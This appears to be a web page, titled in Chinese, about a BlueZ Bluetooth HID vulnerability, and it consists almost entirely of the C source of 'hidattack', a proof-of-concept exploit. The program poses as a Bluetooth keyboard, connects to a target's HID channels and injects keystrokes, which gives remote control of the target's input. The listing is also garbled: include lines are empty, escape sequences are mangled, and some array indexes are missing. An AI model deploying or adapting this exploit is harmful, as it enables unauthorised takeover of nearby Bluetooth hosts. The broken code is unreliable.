BlueZ HID不安全设备连接漏洞

BlueZ HID不安全设备连接漏洞

*

* hidattack v0.1

*

* (c) Collin R. Mulliner

* http://www.mulliner.org/bluetooth/

*

* License: GPLv2

*

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include "hid.h"

#include "sdp.h"

int cs;

int is;

/*

* taken from BlueZ

*/

static int l2cap_listen(const bdaddr_t *bdaddr, unsigned short psm, int lm, int backlog)

{

struct sockaddr_l2 addr;

struct l2cap_options opts;

int sk;

if ((sk = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP)) < 0)

return -1;

memset(&addr, 0, sizeof(addr));

addr.l2_family = AF_BLUETOOTH;

bacpy(&addr.l2_bdaddr, bdaddr);

addr.l2_psm = htobs(psm);

if (bind(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) {

close(sk);

return -1;

}

setsockopt(sk, SOL_L2CAP, L2CAP_LM, &lm, sizeof(lm));

memset(&opts, 0, sizeof(opts));

opts.imtu = HIDP_DEFAULT_MTU;

opts.omtu = HIDP_DEFAULT_MTU;

opts.flush_to = 0xffff;

setsockopt(sk, SOL_L2CAP, L2CAP_OPTIONS, &opts, sizeof(opts));

if (listen(sk, backlog) < 0) {

close(sk);

return -1;

}

return sk;

}

/*

* taken from BlueZ

*/

static int l2cap_connect(bdaddr_t *src, bdaddr_t *dst, unsigned short psm)

{

struct sockaddr_l2 addr;

struct l2cap_options opts;

int sk;

if ((sk = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP)) < 0)

return -1;

memset(&addr, 0, sizeof(addr));

addr.l2_family = AF_BLUETOOTH;

bacpy(&addr.l2_bdaddr, src);

if (bind(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) {

close(sk);

return -1;

}

memset(&opts, 0, sizeof(opts));

opts.imtu = HIDP_DEFAULT_MTU;

opts.omtu = HIDP_DEFAULT_MTU;

opts.flush_to = 0xffff;

setsockopt(sk, SOL_L2CAP, L2CAP_OPTIONS, &opts, sizeof(opts));

memset(&addr, 0, sizeof(addr));

addr.l2_family = AF_BLUETOOTH;

bacpy(&addr.l2_bdaddr, dst);

addr.l2_psm = htobs(psm);

if (connect(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) {

close(sk);

return -1;

}

return sk;

}

/*

* taken from BlueZ

*/

static int l2cap_accept(int sk, bdaddr_t *bdaddr)

{

struct sockaddr_l2 addr;

socklen_t addrlen;

int nsk;

memset(&addr, 0, sizeof(addr));

addrlen = sizeof(addr);

if ((nsk = accept(sk, (struct sockaddr *) &addr, &addrlen)) < 0)

return -1;

if (bdaddr)

bacpy(bdaddr, &addr.l2_bdaddr);

return nsk;

}

void usage()

{

fprintf(stderr, "/nhidattack v0.1 Dec. 2005 Collin R. Mulliner /n/n"/

"syntax: hidattack -hsce/n/n"/

"/th/t/thelp/n"/

"/ts/t/tserver mode/n"/

"/tc /tclient mode - connect to addr/n"/

"/te /tevent file/n");

}

int main(int argc, char **argv)

{

unsigned char pkg[12];

int ip;

int i = 0;

struct input_event ie;

bdaddr_t dst;

struct pollfd pf[3];

unsigned char ib[1024];

unsigned char cb[1024];

int state = 0;

unsigned char modifiers = 0;

unsigned char modifiers_old = 0;

int press = 0;

int press_old = 0;

int bitmask[8] = {0};

int mode = -1;

char event_file[256] = {0};

int optid;

while ((optid = getopt(argc, argv, "hsc:e:")) != -1) {

switch (optid) {

case 's':

mode = 0;

break;

case 'c':

mode = 1;

str2ba(optarg, &dst);

break;

case 'e':

strcpy(event_file, optarg);

break;

default:

usage();

exit(0);

}

}

if (sdp_open()) {

sdp_add_keyboard();

}

else {

fprintf(stderr, "can't connect to local SDP server/n");

usage();

exit(0);

}

if ((ip = open(event_file, O_RDONLY)) < 0) {

perror("open event input");

usage();

exit(0);

}

printf("/nhidattack DEM0 (c) Collin R. Mulliner http://www.mulliner.org/bluetooth//n/n");

if (mode == 0) {

cs = l2cap_listen(BDADDR_ANY, L2CAP_PSM_HIDP_CTRL, 0, 1);

is = l2cap_listen(BDADDR_ANY, L2CAP_PSM_HIDP_INTR, 0, 1);

cs = l2cap_accept(cs, NULL);

perror("HID control channel");

is = l2cap_accept(is, NULL);

perror("HID interupt channel");

}

else if (mode == 1) {

cs = l2cap_connect(BDADDR_ANY, &dst, L2CAP_PSM_HIDP_CTRL);

perror("HID control channel");

is = l2cap_connect(BDADDR_ANY, &dst, L2CAP_PSM_HIDP_INTR);

perror("HID interupt channel");

}

else {

fprintf(stderr, "wrong mode/n");

exit(-1);

}

pf[0].fd = ip;

pf[0].events = POLLIN | POLLERR | POLLHUP;

pf[1].fd = cs;

pf[1].events = POLLIN | POLLERR | POLLHUP;

pf[2].fd = is;

pf[2].events = POLLIN | POLLERR | POLLHUP;

while (1) {

pf[0].revents = 0;

pf[1].revents = 0;

pf[2].revents = 0;

if (poll(pf, 3, -1) <= 0) {

continue;

}

bzero(pkg, 12);

if (pf[0].revents) {

if (state == 1) {

if (read(ip, &ie, sizeof(ie)) <= 0) {

perror("read ip");

exit(-1);

}

if (ie.type == 0x01) {

if (state == 1) {

modifiers_old = modifiers;

press_old = press;

switch (ie.code) {

case KEY_LEFTSHIFT:

bitmask[1] = (ie.value ? 1 : 0);

break;

case KEY_RIGHTSHIFT:

bitmask[5] = (ie.value ? 1 : 0);

break;

case KEY_LEFTALT:

bitmask[2] = (ie.value ? 1 : 0);

break;

case KEY_RIGHTALT:

bitmask[6] = (ie.value ? 1 : 0);

break;

case KEY_LEFTCTRL:

bitmask[0] = (ie.value ? 1 : 0);

break;

case KEY_RIGHTCTRL:

bitmask[4] = (ie.value ? 1 : 0);

break;

default:

if (ie.value > 0) {

pkg[4] = keycode2hidp[ie.code];

//printf("keycode=%d, hidp=%d/n",ie.code,pkg[4]);

press++;

}

else {

press--;

}

break;

}

modifiers = 0;

for (i = 0; i < 8; i++) {

modifiers |= (bitmask << i);

}

//printf("modifiers: 0x%02x/n", modifiers);

if (press != press_old || modifiers != modifiers_old) {

pkg[0] = 0xa1;

pkg[1] = 0x01;

pkg[2] = modifiers;

pkg[3] = 0x00;

//pkg[4] = 0x00; // the key code

pkg[5] = 0x00;

pkg[6] = 0x00;

pkg[7] = 0x00;

pkg[8] = 0x00;

pkg[9] = 0x00;

if (write(is, pkg, 10) <= 0) {

perror("write");

exit(-1);

}

}

}

}

}

}

if (pf[1].revents) {

int size;

int i;

if ((size = read(cs, cb, sizeof(cb))) <= 0) {

perror("read cs");

exit(-1);

}

printf("cs(%d)/n", size);

for (i = 0; i < size; i++)

printf("%02x",cb);

printf("/n");

if (state == 0 && size == 1 && cb[0] == 0x70) {

fprintf(stderr, "got set_protocol BOOT/n");

pkg[0] = 0;

write(cs, pkg, 1);

state = 1;

}

}

if (pf[2].revents) {

int size;

int i;

if ((size = read(is, ib, sizeof(ib))) <= 0) {

perror("read is");

exit(-1);

}

printf("is(%d): ", size);

for (i = 0; i < size; i++)

printf("%02x",ib);

printf("/n");

}

}

}